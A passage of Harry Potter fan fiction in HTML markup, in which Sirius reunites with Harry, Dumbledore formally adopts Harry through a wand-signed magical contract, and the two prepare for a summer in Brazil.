emerald pools troubled. &quot;Sirius.&quot;</p>\n\n<p>Dumbledore leaned back in his chair even as Fawkes threw a questioning look at Harry.</p>\n\n<p>&quot;I see.&quot; was the simple comment Albus gave and Harry felt compelled to explain himself</p>\n\n<p>&quot;I mean he wanted me to go and live with him when he was cleared of his guilt at least... he looked so happy when I told him that I would love to, just before Wormtail escaped, and now...&quot;</p>\n\n<p>&quot;And now you feel like you are betraying him?&quot; concluded the headmaster. </p>\n\n<p>Harry nodded. &quot;More or less... I wish I could tell him though.&quot;</p>\n\n<p>Dumbledore nodded, his lips turning up in a smile. &quot;I believe that can be arranged. &quot; Then he turned towards the door adjacent to the room. &quot;You may come in.&quot;</p>\n\n<p>The door opened and a man stepped through it. </p>\n\n<p>Tall, with long dark hair and a goatee, and black eyes that sometimes showed what twelve years in Azkaban could do to a human being - even if he was innocent - Sirius Black stood like a wolf among sheep.</p>\n\n<p>With a cry of pure joy Harry flung himself into his godfather&#8217;s waiting arms, appearances be damned. The last time they had seen each other was the night that had followed the disaster known as the Third Task and while Sirius had promised to see him later, that had been impossible...</p>\n\n<p>Until now.</p>\n\n<p>They broke their embrace soon enough and looked at each other. Harry knew how he looked, as though he was still trapped in the body of his fourteen-year-old body when soon he would be celebrating his sixteenth birthday, but Sirius looked very different.</p>\n\n<p>For starters, he looked healthy, more so than in the few times they had seen each other during the fourth year. As if to emphasise his healthy condition, Sirius&#8217;s skin was a tanned brown and while hugging him, Harry could feel the muscles hidden by his dark robes. His dark brown eyes now gleamed, new youth flowing in them along with another set of worries, worries that Harry knew had much to do with him.</p>\n\n<p>&quot;You look good, Harry.&quot; said Sirius, giving him a toothy grin and making Harry laugh.</p>\n\n<p>Harry mock-scowled at him. &quot;Don&#8217;t lie, Sirius. I know how I look.&quot; Then he lightly patted his godfather on the arm as he smiled. &quot;You, on the other hand, look good!&quot;</p>\n\n<p>Sirius looked embarrassed. &quot;Well, Remus convinced me that I had to let go of my convict looks and start taking care of myself. Bloody Moony couldn&#8217;t keep his long nose out of it.&quot;</p>\n\n<p>Harry laughed. &quot;Well, he did the right thing.&quot; Then he sobered a little. &quot;I missed you, Sirius. Letters aren&#8217;t enough.&quot;</p>\n\n<p>&quot;I know, Harry,&quot; he said as he ruffled his godson&#8217;s wild midnight hair </p>\n\n<p>&quot;Professor, could you?&quot; he asked, looking at the headmaster.</p>\n\n<p>Dumbledore smiled. &quot;Of course. I think you will be comfortable in the room.&quot; He gestured to the room where Sirius had been waiting in. &quot;I have to see to some details, so take your time.&quot;</p>\n\n<p>Sirus nodded, grateful. &quot;Thank you,&quot; he said. </p>\n\n<p>Then with his hand upon one of his godson&#8217;s shoulders, they moved into the adjoining room.</p>\n\n<p>Harry turned and gestured to Fawkes, that was by now moving past the table, looking at some things that he found interesting. But as soon as Harry had made the gesture, Fawkes moved through the air, his wings taking him easily to Harry&#8217;s shoulders, head rubbing the boy&#8217;s cheek as it trilled a cheery tune.</p>\n\n<p>Harry laughed (an expression shared by Dumbledore) but Sirius looked surprised. Noticing this, Dumbledore gestured to the pair.</p>\n\n<p>&quot;Your godson has a new companion, Sirius. I suggest that you get used to it as they seem glued to each other.&quot; Then he paused, his face growing thoughtful. &quot;Brings back old memories. Doesn&#8217;t it, Sirius?&quot;</p>\n\n<p>Sirius nodded. &quot;Yes, it does.&quot; He said, his voice thick.</p>\n\n<p>Dumbledore smiled kindly. </p>\n\n<p>&quot;Take all the time you need.&quot; </p>\n\n<p>--------------------------------------- </p>\n\n<p>&nbsp;</p>\n\n<p>Once inside of the room, they stopped and faced each other.</p>\n\n<p>&quot;What did he mean just now? Why does it bring back old memories?&quot; asked Harry as he rubbed a spot on Fawkes&#8217; plumage.</p>\n\n<p>Sirius swallowed. &quot;Exactly what he said. Old memories. You can&#8217;t remember that, but when you were still a baby you used to play with this phoenix.&quot;</p>\n\n<p>&quot;Really?&quot; asked Harry as he looked at the gold and crimson bird with naked surprise in his emerald eyes.</p>\n\n<p>His godfather nodded. &quot;Yes. You two were always playing together when I visited your parents. It was the day that I convinced them about switching Secret Keepers.&quot;</p>\n\n<p>With those words Sirius looked down, that cursed knowledge burning clearly in his eyes. Harry remained silent but patted his godfather&#8217;s arm in a gesture of understanding. Fawkes, sensing the somber mood, let out a string of hope-lifting tunes that made the two humans smile. </p>\n\n<p>Harry looked at his godfather. &quot;I know that I can&#8217;t do much about all the guilt you have because of what happened with my parents but I&#8217;m sure they never blamed you.&quot; </p>\n\n<p>Sirius looked at him, an unreadable expression in his dark eyes.</p>\n\n<p>&quot;And I know that if they were able to tell you, they would say that they are proud of what you are doing and happy that you are here to look after me.&quot;</p>\n\n<p>&quot;Thanks.&quot; said Sirius, a small smile forming on his face.</p>\n\n<p>&quot;So,&quot; Harry began, &quot;What are you doing here? I thought that you were on one of those missions for Dumbledore. Why are you here now?&quot;</p>\n\n<p>Sirius nodded. &quot;You&#8217;re right I was on one of those errands. I...&quot; he paused as if considering something. &quot;My main role is to work as a link between the different members of the Order. We have to stand united when Voldemort attacks.&quot; </p>\n\n<p>&quot;But so far... there has been nothing, right?&quot;</p>\n\n<p>Sirius nodded ruefully. &quot;And it scares me, Harry. It&#8217;s been more than a year since his Rising and so far there&#8217;s been nothing, not even a trace of detected movement amongst those that we know are Death Eaters...&quot;</p>\n\n<p>&quot;Like Lucius Malfoy.&quot; </p>\n\n<p>&quot;Yeah, like Malfoy.&quot; Sirius conceded, the name pronounced with pure venom. &quot;There has been nothing but that stunt he tried concerning you, but even that was significant. Believing that Voldemort will keep quiet is a good way to end up dead... or worse.&quot;</p>\n\n<p>Harry couldn&#8217;t agree more.</p>\n\n<p>&quot;And yet,&quot; said Sirius, &quot;I would thank him for that, if only because his offering prompted Dumbledore to adopt you.&quot;</p>\n\n<p>Harry looked away, before returning his eyes to his godfather.</p>\n\n<p>&quot;About that, Sirius, I...&quot;</p>\n\n<p>He would have continued but the older man stopped him with a gesture and an easygoing smile. &quot;Don&#8217;t worry about that, Harry. In fact I couldn&#8217;t be more happy about it. To know that you are under Dumbledore&#8217;s tutelage... to know that he offers you a new family pleases me immensely. I could ask for no better choice.&quot;</p>\n\n<p>&quot;But Sirius! What about...&quot; Harry tried to protest</p>\n\n<p>&quot;I heard your conversation with Dumbledore.&quot; That shut Harry&#8217;s mouth up. &quot;And while I understand your hesitation, I want you to know that you are not betraying me.&quot;</p>\n\n<p>He paused, his smile widening. &quot;This doesn&#8217;t mean that one day we couldn&#8217;t live together as I wanted... it just means that you will have two families who will love and care for you.&quot; Again there was a pause - this one longer than the previous one. &quot;You do like Dumbledore&#8217;s family, right?&quot; </p>\n\n<p>Harry nodded. &quot;Yeah, I like them. Sometimes I&#8217;m amazed at how they accepted me so quickly, as if I had always been a part of the family.&quot; His face broke into a grin. &quot;I&#8217;ve already been invited to go to France and Holland after I return from my trip with Dumbledore.&quot;</p>\n\n<p>Sirius nodded, smiling in answer to Harry. &quot;I know I shouldn&#8217;t say this but I&#8217;m glad the Dursleys kicked you out of that place. I would go and hug Petunia if only to thank her for sparing you from their company from now on.&quot;</p>\n\n<p>Harry nodded. &quot;That&#8217;s a relief. I wasn&#8217;t looking forward to another summer of imposed diet as Dudley tries to lose weight.&quot;</p>\n\n<p>Sirius laughed. &quot;I remember you telling me that. I still find it difficult to believe that someone related to Lily can be so... unlike her.&quot; </p>\n\n<p>&quot;You know I often wondered about that...&quot; said Harry firmly. &quot;And to me they can&#8217;t be related to mom. It&#8217;s not possible... What I&#8217;m trying to say is that if I had been able to chose I would have you as my sole living relative. You&#8217;re like a father to me Sirius, never forget that.&quot;</p>\n\n<p>Sirius nodded, his eyes shining with unshed tears, his face flushed. &quot;I know. I feel likewise and I know that I couldn&#8217;t be more proud of you even if you had been my own son.&quot; </p>\n\n<p>He paused, a moment he took to compose himself again and taking hold upon his emotions. &quot;Harry, my time here is limited. Albus sort of guessed that you would have second thoughts about his offer and called me here. You becoming part of this family does not change anything, not even how I feel towards you. When Albus told me that he was thinking of adopting you, the first thing I felt was relief.&quot;</p>\n\n<p>Once again, Sirius paused, looking at his godson intently.</p>\n\n<p>&quot;Harry... Voldemort wants you dead. I don&#8217;t know why - I only know that something in you poses a threat to him and Voldemort will stop at nothing until he has killed you. I know the extent of your courage better than most but I also know that you aren&#8217;t ready to face him. That&#8217;s why I felt so relieved that Dumbledore is going to become your legal guardian.&quot;</p>\n\n<p>&quot;But...&quot; Harry tried to protest but was stalled by Sirius, a gentle squeeze of his shoulder silencing him. Sirius&#8217; dark eyes were almost luminous in the dim room.</p>\n\n<p>&quot;You may not be ready to face the Dark Lord now, but one day you will be. Until then it&#8217;s my mission, mine and everybody&#8217;s else, to do what it takes to allow you to grow in your power, to be able to take on Voldemort and win. But this is not the moment. Live, grow stronger and fight another day. <i>That</i> must be your priority.&quot; </p>\n\n<p>&quot;Make the love people give you your strength. That&#8217;s the one thing Voldemort can&#8217;t fight; the bonds love gives us. Learn from those that love you, Harry, learn from Dumbledore. Accept his proposal. I will feel safer if I know that you are his charge and under his direct protection.&quot;</p>\n\n<p>Sirius let out a sad sigh. &quot;Sometimes I wish I had changed your parents&#8217; mind and asked Dumbledore to act as the Secret Keeper. I know they would still be among us if that had been so.&quot;</p>\n\n<p>With another sigh (this one longer) Sirius&#8217;s face split into a grin that took years from his face, making Harry remember that his godfather had once been a <i>Marauder</i>, just as the older man ruffled his already wild hair once again.</p>\n\n<p>&quot;Now, tell me, how did your year go?&quot;</p>\n\n<p>It was with a big smile that Harry started to tell his tale.</p>\n\n<p>--------------------------------------- </p>\n\n<p>&nbsp;</p>\n\n<p>&quot;What do I have to do?&quot; </p>\n\n<p>Dumbledore nodded as he handed Harry a handful of papers that both Sirius and the teenage boy looked at immediately, Sirius peeking over Harry&#8217;s shoulder.</p>\n\n<p>&quot;Nothing much, Harry,&quot; was Dumbledore&#8217;s answer. &quot;You can think of it as a Muggle contract where you only have to sign after reading the fine print. Of course for this kind of document we don&#8217;t use ink as our Muggle friends do; instead, you have to sign with your wand.&quot;</p>\n\n<p>Harry&#8217;s eyes rose from looking at the text to fixate on Albus&#8217; blue ones. &quot;My wand? How?&quot;</p>\n\n<p>Dumbledore smiled thinly. &quot;First end your reading, Harry. Then I and Sirius will answer your questions.&quot;</p>\n\n<p>Harry nodded and did as he was told, his eyes reading the small spider-like calligraphy quickly, taking in the whole text in a short time. Once that was done he looked up, Sirius moving to one side of the table placed between Harry and Dumbledore.</p>\n\n<p>&quot;Do you have any doubt about it, Harry?&quot;</p>\n\n<p>Said teenager shook his head, a clear sign that it wasn&#8217;t so. Still something seemed odd in the last paragraphs of the text. Knowing that the old wizard would like to know whatever doubt he had, the young wizard spoke.</p>\n\n<p>&quot;I don&#8217;t have any doubt, sir...&quot; he started, faltering as he searched for the right words to say.</p>\n\n<p>&quot;But?&quot; was the gentle prodding.</p>\n\n<p>Harry&#8217;s eyes quickly moved back to the parts that puzzled him.</p>\n\n<p>&quot;It&#8217;s just that&#8230;in some places it seems almost as if the person who wrote this wanted to - I may be wrong - scare me?&quot;</p>\n\n<p>Sirius blinked before nodding in approval and shooting a questioning glance at the headmaster.</p>\n\n<p>Dumbledore&#8217;s smile widened slightly. &quot;Good, good. Very perceptive of you, Harry. And yes, you are right. This document was purposely written to make you doubt your decision. You can thank our dear Minister Fudge for that detail.&quot;</p>\n\n<p>&quot;What? What does Fudge have to do with this?&quot; asked Sirius, alarmed.</p>\n\n<p>&quot;Much. As I suppose Harry has told you about the days I have been delayed at the Ministry. The reason was that once there one of my contacts warned me that Fudge could be preparing something to prevent Harry from becoming part of my family and I his direct guardian.&quot;</p>\n\n<p>&quot;What did he do?&quot; asked Harry, a dangerous glint in his green eyes. </p>\n\n<p>&quot;Ah, I think the question would be what he <i>tried</i> to do. You see, Fudge had promised Lucius Malfoy your custody. That was before I interfered and presented myself as a possible candidate and as such foiled the plans of our minister.&quot;</p>\n\n<p>Sirius&#8217;s knuckles popped due to the pressure in his fist. Looking at him, Harry knew that if he had been in his animagus form, Snuffle&#8217;s hackles would have risen and he would be growling. Anyway Sirius looked like if he was ready to chew nails and spit out clips. </p>\n\n<p>&quot;<i>How</i> can he do it? Doesn&#8217;t he know that Lucius is a Death Eater!?&quot;</p>\n\n<p>Dumbleore&#8217;s smile faded as if he was sharing Sirius&#8217;s anger. Harry swallowed, made uncomfortable by the palpable anger in and between the two adults. If looks could kill, Fudge, had he been present, would already be six feet underground.</p>\n\n<p>&quot;Oh, he knows that very well, Sirius. Fudge is a good example of how the Ministry is, corrupted and rotten, ready to look away when it suits the needs of those in power. Fudge will forget everything dark in Lucius as long as he gives him money to finance his political career, at the same time gaining followers amongst the pure blooded families... many of those under Voldemort&#8217;s shadow.&quot;</p>\n\n<p>Dumbledore sighed, suddenly looking very old and frail, even if his eyes still exuded an inner strength that many would want to have </p>\n\n<p>&quot;It took me this long to win my battle with Fudge and those on his side. It was a rather close shave but I managed it. Still it didn&#8217;t bring me any joy, not even knowing what a loss it will be to Fudge&#8217;s public image. It was a shameful moment in the history of the Ministry of Magic and I fear that we are seeing the end of it if we don&#8217;t manage to chase Cornelius from his position.&quot; </p>\n\n<p>A pregnant pause followed that announcement, the great wizard&#8217;s frustration evident. &quot;Fudge did not even bother to hide that he was following Lucius&#8217; orders, or that, if he was so stubborn, it was only because it would grant him the favor of those influential enough to help him keep the Ministry&#8217;s power. This can lead us to our doom if the corruption in the British Ministry of Magic spreads... And with Voldemort working in the shadows we can but suppose that it may already be so.&quot;</p>\n\n<p>Dumbledore closed his eyes and breathed deeply. &quot;Tom&#8217;s silence is what really bothers me. His eyes opened and he looked at Harry. &quot;Did you have any dream this year? Any pain in your scar? Anything at all?&quot;</p>\n\n<p>Harry denied those questions with a small shake of his head. &quot;No, professor. Nothing. I would have told you if there was.&quot; He paused. &quot;And to be honest, sometimes that bothers me.&quot;</p>\n\n<p>Dumbledore nodded. &quot;I had thought as much...&quot; his eyes narrowed. Both Harry and his godfather realized that something must be on the older wizard&#8217;s mind. For a moment it seemed that Albus was about to say something but in the end it was clear that whatever the old wizard was thinking about would remain secret.</p>\n\n<p>For now.</p>\n\n<p>A smile reappearing upon his aged face, Dumbledore gestured towards the white papers in Harry&#8217;s hands. &quot;Now, why don&#8217;t we end this? I think you will like to know that Fudge will be informed of it the second after your signature is put upon it. Highly unpleasant for him, I would say.&quot;</p>\n\n<p>Grinning, (an expression shared by the older wizard) Harry simply said; &quot;What do I have to do?&quot;</p>\n\n<p>&quot;Look at the end of the last page.&quot; was the simple instruction that Harry followed, immediately finding an empty space that he had ignored in his previous reading; a simple single golden line where he supposed his signature was to be.</p>\n\n<p>Harry looked at Dumbledore and Sirius, waiting for further instructions. &quot;Now take your wand and move its tip on the golden line thinking about your name, about who you are, anything that concerns you.&quot;</p>\n\n<p>Harry nodded and gathering his thoughts, drew the wand from one of his pockets. With barely a shaking hand Harry touched the left extreme of the line and slowly moved its tip upon its whole length.</p>\n\n<p>It was a strange sensation, almost as if he could feel his thoughts flowing through his wand and projected onto the paper alongside its magic. For a moment he pondered if that was what you felt when you used a pensieve. </p>\n\n<p>As he considered it, red lines of light flew from the wand, softly spinning and etching themselves in the paper, almost as if the red light was becoming a part of it, forming letters that contrasted with the blue ink used in it.</p>\n\n<p>There, like words made of fire, shifting between red, yellow and orange, were the two words that composed his name</p>\n\n<i><p>&nbsp;</p>\n\n</i><p><i>Harry Potter</i>\n\n</p>\n\n<p>&nbsp;</p>\n\n<p>As the last letter settled in, the white pages burst into a white light before the letters on the few pages that composed it started fading. Under Harry&#8217;s eyes the words disappeared totally, leaving but empty pages in his hands.</p>\n\n<p>And then, to increase his astonishment the pages themselves started to loose cohesion, slipping through his fingers in a cloud of white shimmering dots that too, soon enough, disappeared into the air. </p>\n\n<p>If that wasn&#8217;t enough a burning sensation came to life on the back of his right hand, drawing his attention immediately to that spot. </p>\n\n<p>Upon his skin Harry could see a circle forming, roughly the size of a galleon, blue neon light moving as if it was liquid. </p>\n\n<p>Once the circle was completed it filled with a darker kind of blue as seven silvery stars appeared in the background, following the limits marked by the shimmering circle. </p>\n\n<p>Then in a flash, blue flames erupted, surrounding his hand in blue flames that faded as quickly as they appeared. Once they were gone, Harry looked at his hand and, amongst the seven star-shaped dots, a blue fire could be seen, the color flaring between silvery white to almost black blue and all the shades in between. </p>\n\n<p>Harry was still reeling from the appearance of the strange symbol on his hand when Fawkes let out a note of pure triumph, a sound so powerful that for a moment Harry expected the room to be filled with a thousand threads of golden light, just like the time he had dueled Voldemort with their brother wands.</p>\n\n<p>As if to answer Fawkes&#8217; call the tattoo glowed brightly for a moment more, literally exploding, and creating a true blue flame that tainted everything in Harry&#8217;s sight a silvery blue, his whole body encompassed within the flame before it faded, the tattoo following suit however, with a slower pace, allowing the teenager to see the lines lighten before disappearing completely.</p>\n\n<p>Once it was gone, there was nothing to indicate that barely seconds before a glowing sign of a blue fire surrounded with seven stars had been present, free of any hiding to those looking. Nor that it had exploded in cobalt fires that had turned him into a living torch of blue light.</p>\n\n<p>Shaking slightly, his fingers touched the spot where just moments before the sign had been present, his sense of touch telling him nothing. To his senses only normal skin could be found.</p>\n\n<p>Harry&#8217;s eyes snapped towards Dumbledore, who was smiling - a huge smile that showed his teeth, white as pearls. In any other time that would have made Harry smile back, but right then his mind was too focused on its anger and confusion for not having been told what would happen, making him glare at the older wizard. </p>\n\n<p>A quick glance told him what he suspected. Sirius didn&#8217;t seem too concerned, rather only surprised as hell and even a little pale, but not too much. Still he took care to notice that Sirius didn&#8217;t seem angry or even alarmed, so it was safe to guess that nothing &quot;wrong&quot; had happened.</p>\n\n<p>But was it too much to ask to be warned if such a thing was to happen? He was really getting tired of being left in the dark.</p>\n\n<p>&quot;Okay. Out with it. What. Was. That?&quot; he asked, his voice tight with anger and a large dose of frustration. </p>\n\n<p>&quot;Nothing that you have to worry about, Harry,&quot; said Dumbledore, the smoldering look that Harry threw him hint enough that he had better keep talking. &quot;It was just the physical manifestation of your addition to the family.&quot;</p>\n\n<p>&quot;Is it too much to ask for a complete explanation?&quot; pressed Harry. His eyes moved to his godfather. &quot;Is it too much?&quot;</p>\n\n<p>Sirius shook his head. &quot;No, Harry, it&#8217;s just...&quot; he sighed. &quot;I didn&#8217;t know it was going to happen like that but it&#8217;s something that I knew about.&quot;</p>\n\n<p>Harry snorted, his patience clearly drawing thin. &quot; What was that? What was all that light about?&quot;</p>\n\n<p>Sirius barely glanced at Dumbledore before speaking. &quot;It&#8217;s a sign of belonging, a way for you to prove that you are a part of your family. Nothing more.&quot;</p>\n\n<p>Harry blinked, his eyes resting for a moment on the spot the mark had been minutes ago. &quot;A little more information?&quot;</p>\n\n<p>Sirius shrugged. &quot;Nowadays it only appears for the oldest of the families in the wizarding world. And when I say old, I mean really <i>old</i>. What we know of those marks are but from legend and myths. Millenniums ago almost all families -clans- used them, making its appearance very common, but now it&#8217;s very rare, a sign of prestige, more even than all that purity of the blood rubbish.&quot;</p>\n\n<p>&quot;When you say old, just how old are you talking about?&quot; asked Harry, now interested even if still somewhat peeved by being in the dark about the appearance of the light.</p>\n\n<p>&quot;I think I can answer that, Sirius.&quot; replied Dumbledore&#8217;s calm voice, two sets of eyes moving to him. &quot;When Sirius said old, he means that not even the line of the Founders, if it existed still, would have it appear. Tom Riddle for instance, even as the Heir of Slytherin doesn&#8217;t have such an identification... something that he always resented.&quot;</p>\n\n<p>Harry swallowed even as Dumbledore continued. &quot;As Sirius said, eons ago, when the world was still young and magic was as in another level altogether, that is as alien to us as regular magic is to Muggles now, it was very common, a sign openly showed to prove your allegiance to your family, clan, army, and so on.&quot; </p>\n\n<p>Albus sighed. &quot;Now few among our kind have it, as not many Bloodlines have continued unbroken from that age. What information we have right now is hardly reliable, in some cases nothing more than myths and legends. Still one of the few proprieties that we know of are that they appear each time that a new member is included in those families that still have them, be it through marriage or adoption, as long as the bonds are true.&quot; </p>\n\n<p>Then Albus looked at the phoenix that kept staring at Harry, the curiosity clear in his twinkling blue eyes. &quot;Now what I don&#8217;t understand is why Fawkes sang, or why the sign reacted in such a fashion... Perhaps we will never know.&quot;</p>\n\n<p>Looking at Harry, Dumbledore started to stroke his beard. &quot;As for what exactly happened, that I can answer, if you really want to know about that.&quot;</p>\n\n<p>Harry nodded, making Dumbledore smile slightly. &quot;Very well. The parchment used in the document you just signed was coded to react to any imprint of magic alien to its own. When you projected your thought and emotions about yourself through your own wand, the magic within those papers reacted. Among the numerous charms integrated in it, the more important are three.&quot;</p>\n\n<p>&quot;Sparing you from the details, I will say that the first one identifies the magic of the user and compares it with the records at the Ministry of Magic. It&#8217;s impossible to mistake it for something else as the magic we cast carries its own signature. That, coupled with our wands&#8217; unique cores prevents any falsification of the signature, proving that it is <i>you</i> who are agreeing with what the document says.&quot;</p>\n\n<p>&quot;The second, and probably the most important, is the one that checks the truthfulness of the signature. In other words, it proves that you have come to your decision by your own free will, that what you are signing for is a decision you have come to by yourself with your mind and will free of any tampering&quot;</p>\n\n<p>&quot;Tampering... you mean, like the Imperius?&quot; </p>\n\n<p>Dumbledore nodded, obviously pleased by Harry&#8217;s question. &quot;Quite correct, Harry. The charm ingrained in that sort of parchment is powerful enough to detect the traces of the Imperius and other mind-controlling magic </p>\n\n<p>&quot;The third spell is the most simple, even if this is relatively speaking...&quot;</p>\n\n<p>That caught Harry&#8217;s attention &quot;What do you mean by &#8216;relatively&#8217;?&quot; </p>\n\n<p>&quot;Well, this type of parchment, treated with all those spells, is quite rare and expensive, not only because of the complexity of the charms used when it was created but also because it is a special type of paper. It takes time to craft it and make sure that all the types of magic used in the process are in harmony. I would say that this parchment is as rare and expensive as invisibility cloaks, if not more.&quot;</p>\n\n<p>Harry blinked, surprised that a mere three pages could be so precious. &quot;Are all the Ministry documents made with this paper?&quot;</p>\n\n<p>Dumbledore laughed, obviously amused. &quot;Oh no! Not at all.&quot; He paused, his laughter receding to a mad twinkle in his blue eyes. &quot;It&#8217;s one of the ways our dear Minister wastes valuable resources. He thought that it was a way to turn the tide to his favor and prove that I had brainwashed you or some nonsense like that... sadly to him, this way has proved beyond a doubt that it&#8217;s you and you alone who have decided this outcome.&quot;</p>\n\n<p>He paused, considering. &quot;This will definitely be another blow to Fudge&#8217;s credibility... something that can do nothing but help us in the end. It will be up to us to use that to our gain.&quot;</p>\n\n<p>&quot;You were talking about a third charm...&quot; Sirius&#8217;s voice suddenly cut through the silence that followed after that, enticing startled looks from both Harry and Albus. Albus looked sharply at the escaped Azkaban fugitive and then nodded.</p>\n\n<p>&quot;You&#8217;re right, Sirius,&quot; he paused. &quot;The third charm is the one that links the parchment&#8217;s reactions to the Ministry&#8217;s archives. As soon as the first and second charms react to your own input of magic, the third one is set off, sending what information is gleaned from them to the ministry, the data becoming known to the whole of it. That of course prevents any outside tampering to occur, guaranteeing its veracity.&quot; </p>\n\n<p>Sirius rubbed his chin, deep in thought. &quot;Then, by now, the Ministry will have received that information. Is that wise?&quot;</p>\n\n<p>Dumbledore nodded, conceding Sirius&#8217;s logic. &quot;Indeed. But that&#8217;s something that can&#8217;t be helped. Even before Harry signed the parchment, that information was well known within the circles of the Ministry. Without a doubt, that information must have already reached Voldemort, so there is nothing much we can do for that.&quot;</p>\n\n<p>There was another pause, this one more significant as Albus&#8217;s blue eyes gained a strange glow. &quot;Even so, I have taken steps to prevent Voldemort from using any information to his gain. As long as the summer lasts he will not be able to harm Harry or even find him.&quot;</p>\n\n<p>Sirius&#8217;s eyes narrowed. &quot;You performed the Fidelius.&quot; It wasn&#8217;t a question, but rather an affirmation.</p>\n\n<p>Albus nodded, his gaze holding Sirius even as he leaned back in his chair. &quot;That I did, as soon as Harry stepped onto the Hogwarts Express on his way back to King&#8217;s Cross.&quot; His eyes shifted to Harry. &quot;I&#8217;m sorry I didn&#8217;t consult you but this was also part of the defenses I had thought up concerning you the day I left you under the Dursleys&#8217; care... I hope you don&#8217;t mind.&quot;</p>\n\n<p>Harry negated, &quot;I don&#8217;t. I would have liked it if you had done so but I know that you did it thinking about what was best for me. I would like it, though, if you could keep chances of that happening again as minimal as possible.&quot;</p>\n\n<p>Albus nodded. &quot;Sounds fair, and while I understand that need for knowledge you have, I want you to understand that sometimes I will have to keep some of that information you seek from you. What I can say is that when I do it, it will be for your own good.&quot; He sighed. &quot;Returning to what concerns the here and now, the security around you will be enhanced and no one but I will know who is your Secret-Keeper. The charm will last until September the First, when you return for your sixth year.&quot;</p>\n\n<p>&quot;What until then?&quot; asked Sirius, arms crossed upon his chest, in his &#8216;all-protective godfather mode&#8217;.</p>\n\n<p>&quot;Well, what I had already told Harry about. The staff at Hogwarts wanted me to have a full summer out of the walls of the school and I agreed. They have organized a vacation in Brazil, in Rio de Janeiro to be exact, and they want us &#8211; Harry and I - to be there for the whole length of the summer, beginning as soon as the legal paperwork was done... what we have just finished with.&quot; </p>\n\n<p>&quot;Brazil?&quot; asked Harry, eagerness clear in his voice.</p>\n\n<p>&quot;That&#8217;s right, Harry,&quot; said Dumbledore, answering the boy&#8217;s smile with one of his own. &quot;The two of us will be alone there for two months and half, more or less. I can foresee that this will be a most interesting trip. I know that you will find it interesting. It will be a new experience for you, entering in contact with a different culture, especially one as lively as the Brazilian one.&quot; </p>\n\n<p>He looked at Sirius. &quot;I think you can tell your godson the tales of your adventures in Brazil&#8230;don&#8217;t you think so, Sirius? After all, it was quite an interesting tale.&quot;</p>\n\n<p>Harry looked at Sirius who for some unknown reason looked quite embarrassed and extremely flustered.</p>\n\n<p>&quot;You&#8217;ve been to Brazil, Sirius?&quot; Harry&#8217;s eyes shone with enthusiasm as he started bombarding his godfather with questions. &quot;What is it like? When did you go? What did you see? How are the people there? And...why are you blushing?&quot; </p>\n\n<p>Sirius swallowed nervously under the stare of his godson. &quot;Well, in order&#8230;it&#8217;s... nice, yeah that&#8217;s it - nice. Before your fourth year. Saw many... things. People are, uh, most welcoming and lastly none of your bloody business!&quot;</p>\n\n<p>Harry laughed, followed by Dumbledore&#8217;s dry chuckle and humor-laced magical notes coming from Fawkes, all of that making Sirius blush even further. Harry then decided not to ask his godfather about his <i>adventures</i> in Brazil. </p>\n\n<p>Who knows, it could be traumatic for him.</p>\n\n<p>Dumbledore looked at Harry, Sirius and Fawkes and his expression turned mildly serious. &quot;As much as I would want us to continue with this light hearted discussion we have some details concerning the trip that must be resolved.&quot; </p>\n\n<p>&quot;Like what?&quot; asked Sirius, feeling better now that the attention had been diverted from him.</p>\n\n<p>&quot;Like security.&quot; was the short answer. &quot;I know this will may annoy you, Harry, but will you give me your wand?&quot; </p>\n\n<p>&quot;Um, sure.&quot; said the young Gryffindor, pulling it from one of the pockets of his clothing and handing it to the old wizard. &quot;Here.&quot;</p>\n\n<p>Dumbledore took it reverently, testing it and its weight, twirling it slowly between his fingers as he examined it. He even moved it through the air and white doves came out of it before they faded quietly in front of a startled Fawkes.</p>\n\n<p>And yet, when Harry expected Dumbledore to give him his wand back, the venerable wizard made it disappear into the depths of his crimson robes.</p>\n\n<p>Harry&#8217;s eyes widened, his hand rising in reflex. &quot;But Professor---&quot; he started to say but was interrupted.</p>\n\n<p>The headmaster&#8217;s voice was soft but brook no defiance. &quot;I&#8217;m sorry, Harry, but I must keep your wand, at least until September.&quot;</p>\n\n<p>&quot;What? Why?&quot; </p>\n\n<p>Albus sighed. &quot;As you know both your wand and Voldemort&#8217;s have the same core, brother feathers coming from Fawkes. As such they have a link to each other. It&#8217;s due to that link that <i>Prori Incantatem</i> happens.&quot;</p>\n\n<p>&quot;I know that but why can&#8217;t I have my wand? Why do you have to keep it?&quot;</p>\n\n<p>&quot;Because brother wands react to each other. When you perform magic with it, the magic used unleashes a resonance of sorts that its brother wand reacts to. Now a wizard, one with the knowledge and talent of say, Voldemort, can extract information from that, information such as where that magic had been cast.&quot;</p>\n\n<p>&quot;This resonance will bypass the Fidelius charm, making your location easy for Voldemort to trace. Our efforts would be wasted if I allow you to even hold your wand, as simply holding it would produce this resonance, even if on a smaller scale than if you cast spells with it.&quot; </p>\n\n<p>&quot;Even holding it causes this signal? How?&quot; was the rushed questions from Harry, clearly a way to deal with the fact that Voldemort could find him even with only holding his wand.</p>\n\n<p>&quot;Tell me Harry, what do you feel when you take hold of your wand? You feel a connection, a surge of warmth and power, right?&quot;</p>\n\n<p>Harry nodded.</p>\n\n<p>&quot;Think of it like the embers of a fire.&quot; He started after a moment of searching for an apt comparison. &quot;Left alone, its feeble heat, the magic of the wand, is meaningless. Now, when you hold your wand those embers return to life, bursting into flames fuelled by your own magic. That spark that you feel each time you touch your wand, that comforting sensation is the embers returning to life.&quot;</p>\n\n<p>&quot;You feel the heat of the flames, the magic of the wand that is awakened. This fire roars to life each time you cast a spell, making its heat burst free. This is easy to notice with the correct senses. You see it with your eyes, you hear it with your ears and in some years you may even taste the magic that is cast by the wand.&quot;</p>\n\n<p>&quot;But the interesting thing about brother wands is that when one comes to life the other feels it... if you know what to look and search for. I don&#8217;t have a doubt that in the years Tom Riddle passed learning the Dark Arts before he emerged as Lord Voldemort that skill was amongst those he mastered.&quot;</p>\n\n<p>Albus looked gravely at Harry before resuming his speech. &quot;Do you understand why I have to keep you away from your wand? I do not do this because of some unfounded whim I have. I assure you that this is only for your own good and I need you to trust me in this.&quot;</p>\n\n<p>Sirius nodded, clearly following the headmaster&#8217;s logic. &quot;I would feel better if I know that Voldemort has one less means to find you.&quot;</p>\n\n<p>Harry sighed, clearly annoyed but understanding the worry of the adults. &quot;Oh, all right... I know this is something I can&#8217;t win.&quot;</p>\n\n<p>Sirius chuckled before addressing Dumbledore. &quot;What about the costs of the trip? I want to be sure that Harry will lack nothing that money can buy.&quot;</p>\n\n<p>Albus&#8217;s smile widened slightly, appreciating Sirius&#8217;s way to divert the conversation to more pleasant matters. &quot;I assure you, 